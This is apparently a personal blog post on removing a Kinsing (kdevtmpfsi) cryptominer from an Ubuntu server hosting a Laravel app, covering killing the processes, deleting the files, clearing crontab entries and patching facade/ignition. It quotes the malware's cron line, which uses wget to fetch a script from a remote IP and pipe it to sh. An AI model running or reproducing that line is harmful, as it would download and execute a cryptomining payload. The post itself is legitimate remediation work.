I was wondering what’s wrong with my server (host Laravel web app),
it’s fine after reboot the instance, but after a while it become very
slow, and CPU 100%

I’m using Ubuntu 20.04.2 LTS

Run

1
$ htop

kdevtmpfsi

Then I found this post

1. kill the process & delete the file

1
2
3
4
5
6
7
8
9
10
11
$ sudo killall kdevtmpfsi
$ sudo killall kinsing

$ sudo find / -iname kdevtmpfsi* -exec rm -fv {} \;
$ sudo find / -iname kinsing* -exec rm -fv {} \;

$ sudo echo "kdevtmpfsi is fine now" > /tmp/kdevtmpfsi
$ sudo echo "kinsing is fine now" > /tmp/kinsing
$ sudo chown root:root /tmp/kdevtmpfsi /tmp/kinsing
$ sudo chmod 0444 /tmp/kdevtmpfsi
$ sudo chmod 0444 /tmp/kinsing

2. Check the www-data crontab

1
$ sudo crontab -u www-data -e

If you see this, just remove them

1
2
* * * * * wget -q -O - http://195.3.146.118/lr.sh | sh > /dev/null 2>&1
* * * * * wget -q -O - http://195.3.146.118/lr.sh | sh > /dev/null 2>&1

3. Patch Laravel

Turn off debug

1
APP_DEBUG=false

Update composer package facade/ignition to at least 2.5.1

4. Reboot instance

After reboot it’s working fine

References: